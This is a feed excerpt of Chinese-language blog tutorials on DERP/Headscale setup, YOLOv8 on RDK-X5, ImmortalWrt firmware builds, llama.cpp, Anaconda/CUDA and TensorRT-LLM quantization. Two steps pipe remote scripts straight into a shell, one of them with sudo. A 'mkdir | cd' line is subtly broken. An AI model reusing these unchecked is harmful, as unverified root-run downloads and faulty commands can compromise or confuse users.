&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;自建derp的compose文件（注意Headscale端自带 不需要另外装derp 但必须启用https），首先先安装一个tailscale，然后通过预授权密钥登录，即可实现防偷&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;services:
  derp:
    image: ghcr.nju.edu.cn/yangchuansheng/ip_derper:latest
    container_name: derp
    restart: always
    ports:
      - &quot;64500:64500&quot;
      - &quot;64500:64500/udp&quot;
      - &quot;34788:3478/udp&quot; # 3478 为默认stun端口，如果不冲突请勿修改
    volumes:
      - /var/run/tailscale/tailscaled.sock:/var/run/tailscale/tailscaled.sock # 映射本地 tailscale 客户端验证连接，用来验证是否被偷
    environment:
      - DERP_ADDR=:64500 # 此处需要与上面的同步修改
      - DERP_CERTS=/app/certs
      - DERP_VERIFY_CLIENTS=true # 启动客户端验证，这是防偷的最重要的参数
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Magic DNS自定义配置示例 /opt/headscale/config/extra-records.json&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[
  {
    &quot;name&quot;: &quot;shattered-pc.ts.net&quot;,
    &quot;type&quot;: &quot;A&quot;,
    &quot;value&quot;: &quot;100.0.0.1&quot;
  },
  {
    &quot;name&quot;: &quot;dmj-server.ts.net&quot;,
    &quot;type&quot;: &quot;A&quot;,
    &quot;value&quot;: &quot;100.0.0.11&quot;
  }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ACL ? ?&lt;/p&gt;
&lt;p&gt;未完待续~hh&lt;/p&gt;
</content:encoded></item><item><title>RDK-x5 量化部署YOLO v8模型推理摄像头视频流</title><link>https://nvcc-v.com/2025/09/22/yolo-v8-rdk-x5-deployment/</link><guid isPermaLink="true">https://nvcc-v.com/2025/09/22/yolo-v8-rdk-x5-deployment/</guid><description>将 YOLOv8 模型量化为 RDK X5 可用格式，并在开发板上部署摄像头视频流实时推理。</description><pubDate>Mon, 22 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;x86端准备模型&lt;/h2&gt;
&lt;p&gt;首先在x86端准备好你训练好的YOLO模型，下载&lt;a href=&quot;https://github.com/D-Robotics/rdk_model_zoo/raw/refs/heads/main/demos/Vision/ultralytics_YOLO/x86/export_monkey_patch.py&quot;&gt;此py&lt;/a&gt;，将模型导出为onnx格式。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;脚本会使用&lt;code&gt;ultralytics.YOLO&lt;/code&gt;类对YOLO的&lt;code&gt;pt&lt;/code&gt;模型进行加载, 使用猴子补丁(Monkey Patch)的方法对模型在PyTorch层面进行替换, 进行并调用&lt;code&gt;ultralytics.YOLO.export&lt;/code&gt;方法对模型进行导出. 导出的ONNX模型会保存在pt模型同级目录下.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;python export_monkey_patch.py --pt best.pt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后需要一个性能较强的docker环境用于生成专为RDK优化的二进制文件，以下是compose文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;version: &apos;3.8&apos;

services:
  ai-toolchain-x5:
    image: openexplorer/ai_toolchain_ubuntu_20_x5_cpu:v1.2.8

    container_name: rdk-toolchain

    volumes:
      - ./rdk_ws:/rdk_ws

    working_dir: /rdk_ws
    stdin_open: true
    tty: true
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将导出的onnx放入./rdk_ws目录中，将一些验证集的图片（约几十张）放入./rdk_ws/cal目录中，然后进入docker交互终端并下载一键YOLO转换脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo docker-compose up -d
sudo docker exec -it rdk-toolchain /bin/bash
wget https://github.com/D-Robotics/rdk_model_zoo/raw/refs/heads/main/demos/Vision/ultralytics_YOLO/x86/mapper.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;脚本的参数如下&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;--onnx 指定输入的原始 ONNX 模型文件路径&lt;/li&gt;
&lt;li&gt;--cal-images 指定用于校准的图片数据集路径，以减少精度损失&lt;/li&gt;
&lt;li&gt;--quantized 设置量化策略&lt;/li&gt;
&lt;li&gt;--optimize-level 设置编译优化的等级，可选-O0 -O1 -O2 -O3，数字越大越好越慢&lt;/li&gt;
&lt;li&gt;--jobs 编译线程&lt;/li&gt;
&lt;li&gt;--save-cache 保留缓存&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;我的命令如下，可根据实际修改&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 mapper.py --onnx best.onnx --cal-images cal --jobs 64 --optimize-level O3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后会输出一个.bin的二进制文件，这就是ARM端所需要的特制模型&lt;/p&gt;
&lt;h2&gt;RDK端推理模型&lt;/h2&gt;
&lt;p&gt;可以先安装uv用于环境管理&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -LsSf https://astral.sh/uv/install.sh | sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拉取官方SDK&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/D-Robotics/rdk_model_zoo.git
cd rdk_model_zoo/demos/Vision/ultralytics_YOLO
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建一个虚拟环境并激活，以及安装需要的依赖包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;uv venv --python 3.10 venv
source venv/bin/activate
uv pip install ultralytics
uv pip install hobot_dnn_rdkx5
uv pip install &quot;numpy&amp;lt;2.0&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行测试脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python3 py/Ultralytics_YOLO_Detect_YUV420SP.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/09/1758529003-image-965x1024.webp&quot; alt=&quot;RDK端推理模型 - RDK-x5 量化部署YOLO v8模型推理摄像头视频流 操作截图&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;调用免驱摄像头检测&lt;/h2&gt;
&lt;p&gt;下载&lt;a href=&quot;https://github.com/Shattered217/RDK-x5-Cam-YOLO/raw/refs/heads/main/realtime_camera_yolo.py&quot;&gt;此脚本&lt;/a&gt;，用于调用摄像头并推理模型的示例文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python realtime_camera_yolo.py --model-path best_bayese_640x640_nv12.bin
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;参考文档&lt;/h2&gt;
&lt;p&gt;官方教程 &lt;a href=&quot;https://github.com/D-Robotics/rdk_model_zoo/blob/main/demos/Vision/ultralytics_YOLO/README_cn.md&quot;&gt;rdk_model_zoo/demos/Vision/ultralytics_YOLO/README_cn.md at main · D-Robotics/rdk_model_zoo&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>Cudy TR3000 v1 编译 ImmortalWrt 24.10</title><link>https://nvcc-v.com/2025/09/11/cudy-tr3000-immortalwrt-guide/</link><guid isPermaLink="true">https://nvcc-v.com/2025/09/11/cudy-tr3000-immortalwrt-guide/</guid><description>记录 Cudy TR3000 v1 本地编译 ImmortalWrt 24.10 的环境准备、源码配置、软件源定制和固件构建步骤。</description><pubDate>Thu, 11 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;配置环境&lt;/h2&gt;
&lt;p&gt;使用官方的一键脚本安装必要的编译软件包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo bash -c &apos;bash &amp;lt;(curl -s https://build-scripts.immortalwrt.org/init_build_environment.sh)&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;亦或是使用APT自行安装&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt update -y
sudo apt full-upgrade -y
sudo apt install -y ack antlr3 asciidoc autoconf automake autopoint binutils bison build-essential \
  bzip2 ccache clang cmake cpio curl device-tree-compiler ecj fastjar flex gawk gettext gcc-multilib \
  g++-multilib git gnutls-dev gperf haveged help2man intltool lib32gcc-s1 libc6-dev-i386 libelf-dev \
  libglib2.0-dev libgmp3-dev libltdl-dev libmpc-dev libmpfr-dev libncurses-dev libpython3-dev \
  libreadline-dev libssl-dev libtool libyaml-dev libz-dev lld llvm lrzsz mkisofs msmtp nano \
  ninja-build p7zip p7zip-full patch pkgconf python3 python3-pip python3-ply python3-docutils \
  python3-pyelftools qemu-utils re2c rsync scons squashfs-tools subversion swig texinfo uglifyjs \
  upx-ucl unzip vim wget xmlto xxd zlib1g-dev zstd
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;编译默认纯净固件&lt;/h2&gt;
&lt;p&gt;拉取ImmortalWrt 24.10分支代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone -b openwrt-24.10 --single-branch --filter=blob:none https://github.com/immortalwrt/immortalwrt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更新并安装软件源&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./scripts/feeds update -a
./scripts/feeds install -a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;进入可视化菜单编辑配置信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;make menuconfig
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前三项如图所示，即为Cudy TR3000 256M v1的固件选项，注意 空格是选择，双击esc是返回上一页&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/09/1757574973-image-867x1024.webp&quot; alt=&quot;编译默认纯净固件 - Cudy TR3000 v1 编译 ImmortalWrt 24.10 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;主菜单双击esc后回车保存配置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/09/1757575111-image.webp&quot; alt=&quot;编译默认纯净固件 - Cudy TR3000 v1 编译 ImmortalWrt 24.10 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;下载编译软件包源码后开始编译，注意64是CPU核心数，可按自身配置自行决定&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;make download
make -j64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;固件保存位置位于&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/immortalwrt/bin/targets/mediatek/filogic/immortalwrt-mediatek-filogic-cudy_tr3000-256mb-v1-squashfs-sysupgrade.bin
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;添加自定义软件源以及定制OP固件&lt;/h2&gt;
&lt;p&gt;执行以下命令添加momo和nikki的软件源仓库&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;src-git momo https://github.com/nikkinikki-org/OpenWrt-momo.git;main&quot; &amp;gt;&amp;gt; &quot;feeds.conf.default&quot;
echo &quot;src-git nikki https://github.com/nikkinikki-org/OpenWrt-nikki.git;main&quot; &amp;gt;&amp;gt; &quot;feeds.conf.default&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意添加后需要重新执行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;./scripts/feeds update -a
./scripts/feeds install -a
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后进入菜单勾选需要的软件包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;make menuconfig
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;例如Argon主题位于 LuCI &amp;gt; Themes，双击空格选中Argon主题即可&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/09/1757575755-image-1024x300.webp&quot; alt=&quot;添加自定义软件源以及定制OP固件 - Cudy TR3000 v1 编译 ImmortalWrt 24.10 操作截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;nikki和momo位于 LuCI &amp;gt; Application，找到后双击选中即可，需要的依赖如kmod也会自动勾选&lt;/p&gt;
&lt;p&gt;其余软件包可根据自身需要自行决定，如upnp等&lt;/p&gt;
&lt;p&gt;如需要F50等CPE USB供网，请在Kernel modules &amp;gt; USB Support选择以下软件包，注：usb网口为eth1&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;kmod-usb-core&lt;/li&gt;
&lt;li&gt;kmod-usb-net&lt;/li&gt;
&lt;li&gt;kmod-usb-net-cdc-ether&lt;/li&gt;
&lt;li&gt;kmod-usb-net-rndis&lt;/li&gt;
&lt;li&gt;kmod-usb3&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;保存后即可开始编译了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;make download
make -j64
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;如何刷写？&lt;/h2&gt;
&lt;p&gt;已是OpenWrt系统直接在 系统 &amp;gt; 备份与升级 &amp;gt; 刷写新的固件，选择bin文件即可&lt;/p&gt;
</content:encoded></item><item><title>Linux编译llama.cpp部署gpt-oss-20b-Q8-gguf</title><link>https://nvcc-v.com/2025/08/09/linux-llama-deploy-gguf/</link><guid isPermaLink="true">https://nvcc-v.com/2025/08/09/linux-llama-deploy-gguf/</guid><description>在 Linux 上编译 llama.cpp，部署 gpt-oss-20b-Q8_0 GGUF 模型，并通过 Cherry Studio 接入本地推理服务。</description><pubDate>Sat, 09 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;前言&lt;/h2&gt;
&lt;p&gt;A100无法推理原生的fp4量化模型，TensorRT-LLM难以部署，故选择了llama.cpp，在使用前记得配置CUDA环境（之前的&lt;a href=&quot;/2025/07/20/ubuntu-multi-cuda-setup/&quot;&gt;教程&lt;/a&gt;有）&lt;/p&gt;
&lt;h2&gt;编译llama.cpp&lt;/h2&gt;
&lt;p&gt;键入以下命令拉取最新源码并编译llama相关的二进制可执行程序&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apt-get update
apt-get install pciutils build-essential cmake curl libcurl4-openssl-dev -y
git clone https://github.com/ggml-org/llama.cpp
cmake llama.cpp -B llama.cpp/build \
    -DBUILD_SHARED_LIBS=OFF -DGGML_CUDA=ON -DLLAMA_CURL=ON -DLLAMA_SERVER=ON
cmake --build llama.cpp/build --config Release -j --clean-first --target llama-cli llama-gguf-split llama-server
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;复制程序到项目根目录便于使用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cp llama.cpp/build/bin/llama-* llama.cpp
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;拉取gguf&lt;/h2&gt;
&lt;p&gt;进入&lt;a href=&quot;https://huggingface.co/unsloth/gpt-oss-20b-GGUF/tree/main&quot;&gt;抱脸网&lt;/a&gt;，选择一个自己想要部署的模型，例如&lt;a href=&quot;https://huggingface.co/unsloth/gpt-oss-20b-GGUF/blob/main/gpt-oss-20b-Q8_0.gguf&quot;&gt;gpt-oss-20b-Q8_0.gguf&lt;/a&gt;，如下图点击复制下载链接&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754738716-image-1024x514.webp&quot; alt=&quot;拉取gguf - Linux编译llama.cpp部署gpt-oss-20b-Q8-gguf 操作截图&quot; /&gt;&lt;/p&gt;
&lt;p&gt;新建一个文件夹用于存放gguf并进入&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir -p gguf/gpt-oss-20b-GGUF | cd gguf/gpt-oss-20b-GGUF/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用wget下载模型&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wget https://huggingface.co/unsloth/gpt-oss-20b-GGUF/resolve/main/gpt-oss-20b-Q8_0.gguf
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;推理gguf模型&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;llama.cpp/llama-server      --model gguf/gpt-oss-20b-GGUF/gpt-oss-20b-Q8_0.gguf     --n-gpu-layers 99     --host 0.0.0.0     --port 8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754739097-image-1024x387.webp&quot; alt=&quot;推理gguf模型 - Linux编译llama.cpp部署gpt-oss-20b-Q8-gguf 操作截图&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;接入Cherry Studio&lt;/h2&gt;
&lt;p&gt;注意IP+端口，密钥随便填，点击管理会自动给出正在推理的模型&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754739114-image.webp&quot; alt=&quot;接入Cherry Studio - Linux编译llama.cpp部署gpt-oss-20b-Q8-gguf 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754739149-image-1024x353.webp&quot; alt=&quot;接入Cherry Studio - Linux编译llama.cpp部署gpt-oss-20b-Q8-gguf 操作截图 2&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Windows 使用Anaconda 搭建 YOLO环境 教程</title><link>https://nvcc-v.com/2025/08/08/yolo-conda-windows/</link><guid isPermaLink="true">https://nvcc-v.com/2025/08/08/yolo-conda-windows/</guid><description>在 Windows 上安装 Anaconda、CUDA 与 PyTorch，创建可运行 YOLO 的 GPU 开发环境。</description><pubDate>Fri, 08 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;安装Anaconda&lt;/h2&gt;
&lt;p&gt;为了良好的管理我们的各类环境，首先我们先在c以外的盘创建一个env的文件夹，接下来所有的环境都会安装于此，例如我现在创建在 D:\env 。&lt;/p&gt;
&lt;p&gt;进入&lt;a href=&quot;https://www.anaconda.com/download/success&quot;&gt;官网&lt;/a&gt;下载conda安装包&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754552600-image-1024x562.webp&quot; alt=&quot;安装Anaconda - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;一路next，直到这边修改安装路径到env&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754552932-image.webp&quot; alt=&quot;安装Anaconda - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如果你的电脑没有任何Python环境，可以全部勾选&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754553008-image.webp&quot; alt=&quot;安装Anaconda - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来一路next直到Finish，然后准备添加环境变量，搜索 环境变量 并打开&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754553252-image-1024x875.webp&quot; alt=&quot;安装Anaconda - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;根据自己的路径添加以下四条变量&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;D:\env\anaconda3
D:\env\anaconda3\Library\usr\bin
D:\env\anaconda3\Library\bin
D:\env\anaconda3\Scripts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754553465-image-1024x638.webp&quot; alt=&quot;安装Anaconda - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;打开cmd输入conda -V，若有回显则安装成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754553506-image.webp&quot; alt=&quot;安装Anaconda - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来要修改环境/包的安装路径以及换源&lt;/p&gt;
&lt;p&gt;首先进入C盘找到 用户 文件夹，进入自己电脑用户名的文件夹，找到.condarc文件用记事本打开&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754553836-image.webp&quot; alt=&quot;安装Anaconda - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754553865-image-1024x815.webp&quot; alt=&quot;安装Anaconda - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 8&quot; /&gt;&lt;/p&gt;
&lt;p&gt;添加实际的路径用于指定安装环境/包的路径，防止过度占用C盘&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754553980-image.webp&quot; alt=&quot;安装Anaconda - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 9&quot; /&gt;&lt;/p&gt;
&lt;p&gt;添加以下内容进行换源，防止网络问题导致环境拉不下来&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754554104-image.webp&quot; alt=&quot;安装Anaconda - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 10&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;channels:
  - defaults
default_channels:
  - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main
  - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/r
  - https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/msys2
custom_channels:
  conda-forge: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  msys2: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  bioconda: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  menpo: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  pytorch: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  pytorch-lts: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  simpleitk: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud
  deepmodeling: https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/
envs_dirs:
  - D:\env\anaconda3\envs
pkgs_dirs:
  - D:\env\anaconda3\pkgs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在cmd输入conda init完成初始化，conda至此便安装完成&lt;/p&gt;
&lt;h2&gt;安装CUDA环境&lt;/h2&gt;
&lt;p&gt;首先先在&lt;a href=&quot;https://www.nvidia.cn/software/nvidia-app/&quot;&gt;NVIDIA APP&lt;/a&gt;更新最新版的显卡驱动，安装完成后记得重启电脑&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754554016-image-1024x734.webp&quot; alt=&quot;安装CUDA环境 - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;cmd输入nvidia-smi，确保CUDA Version&amp;gt;12.9&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754554653-image-1024x547.webp&quot; alt=&quot;安装CUDA环境 - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来进入官网下载最新版&lt;a href=&quot;https://developer.nvidia.com/cuda-downloads?target_os=Windows&amp;amp;target_arch=x86_64&quot;&gt;CUDA Toolkit&lt;/a&gt;安装包，注意版本与上面的CUDA Version一致&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754554740-image-1024x562.webp&quot; alt=&quot;安装CUDA环境 - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选择自定义&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754554773-image.webp&quot; alt=&quot;安装CUDA环境 - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;更改安装位置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754554855-image.webp&quot; alt=&quot;安装CUDA环境 - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;安装完成后cmd输入nvcc -V，有回显则安装成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754555417-image.webp&quot; alt=&quot;安装CUDA环境 - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 6&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;构建YOLO虚拟环境&lt;/h2&gt;
&lt;p&gt;键入以下命令创建名为yolo的conda环境&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;conda create --name yolo python=3.11
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输入y并回车&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754556658-image.webp&quot; alt=&quot;构建YOLO虚拟环境 - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入以下命令激活虚拟环境（注意路径前面的括号则代表激活成功）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;conda activate yolo
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754556759-image.webp&quot; alt=&quot;构建YOLO虚拟环境 - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进入&lt;a href=&quot;https://pytorch.org/get-started/locally/&quot;&gt;PyTorch官网&lt;/a&gt;安装GPU版本的PyTorch包，确保选项无误复制安装命令到cmd&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754556882-image-1024x558.webp&quot; alt=&quot;构建YOLO虚拟环境 - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 3&quot; /&gt;&lt;/p&gt;
&lt;p&gt;经过漫长的等待，安装成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754558320-image-1024x510.webp&quot; alt=&quot;构建YOLO虚拟环境 - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入以下命令检验CUDA是否可用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python -c &quot;import torch; print(f&apos;CUDA 是否可用: {torch.cuda.is_available()}&apos;)&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754558568-image-1024x97.webp&quot; alt=&quot;构建YOLO虚拟环境 - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 5&quot; /&gt;&lt;/p&gt;
&lt;p&gt;安装YOLO包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pip install ultralytics
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;/wp-content/uploads/2025/08/1754558854-image-1024x74.webp&quot; alt=&quot;构建YOLO虚拟环境 - Windows 使用Anaconda 搭建 YOLO环境 教程 操作截图 6&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;简单使用YOLO&lt;/h2&gt;
&lt;p&gt;累了，歇会，见下一篇文章吧&lt;/p&gt;
</content:encoded></item><item><title>Tensor-LLM 1.0.0rc4 量化推理QwQ-32B int4</title><link>https://nvcc-v.com/2025/07/25/tensorrt-llm-qwq-32b-quantization/</link><guid isPermaLink="true">https://nvcc-v.com/2025/07/25/tensorrt-llm-qwq-32b-quantization/</guid><description>在 A100 上使用 TensorRT-LLM 对 QwQ-32B 进行 INT4 量化，转换检查点、构建引擎并运行吞吐基准测试。</description><pubDate>Fri, 25 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;环境&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;TensorRT-LLM 1.0.0rc4&lt;/li&gt;
&lt;li&gt;单张A100-PCIE-40G&lt;/li&gt;
&lt;li&gt;120G内存+40G SWAP&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;QwQ-32B-int4量化推理&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;生成检查点代码&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;python /app/tensorrt_llm/examples/models/core/qwen/convert_checkpoint.py     --output_dir /workspace/models/QwQ-32B-checkpoint     --model_dir /workspace/models/QwQ-32B     --dtype float16     --tp_size 1     --pp_size 1     --workers 8     --use_parallel_embedding --use_weight_only --weight_only_precision int4
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;保存 build_config.json 配置文件&lt;/li&gt;
&lt;li&gt;构建 TensorRT 引擎&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;tensor_parallel&quot;: 1,
  &quot;pipeline_parallel&quot;: 1,
  &quot;max_batch_size&quot;: 1,
  &quot;max_input_len&quot;: 4096,
  &quot;max_seq_len&quot;: 8192,
  &quot;max_num_tokens&quot;: 4096,
  &quot;max_beam_width&quot;: 1,
  &quot;enable_weight_only_quantization&quot;: true,
  &quot;gpt_attention_plugin&quot;: &quot;float16&quot;,
  &quot;remove_input_padding&quot;: true,
  &quot;context_fmha&quot;: true,
  &quot;log_level&quot;: &quot;info&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;trtllm-build     --output_dir /workspace/models/QwQ-32B-engine     --checkpoint_dir /workspace/models/QwQ-32B-checkpoint     --build_config /workspace/models/build_config.json     --workers 8     --cluster_key A100-PCIe-40GB
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;推理构建出的TRT引擎&lt;/li&gt;
&lt;/ul&gt;
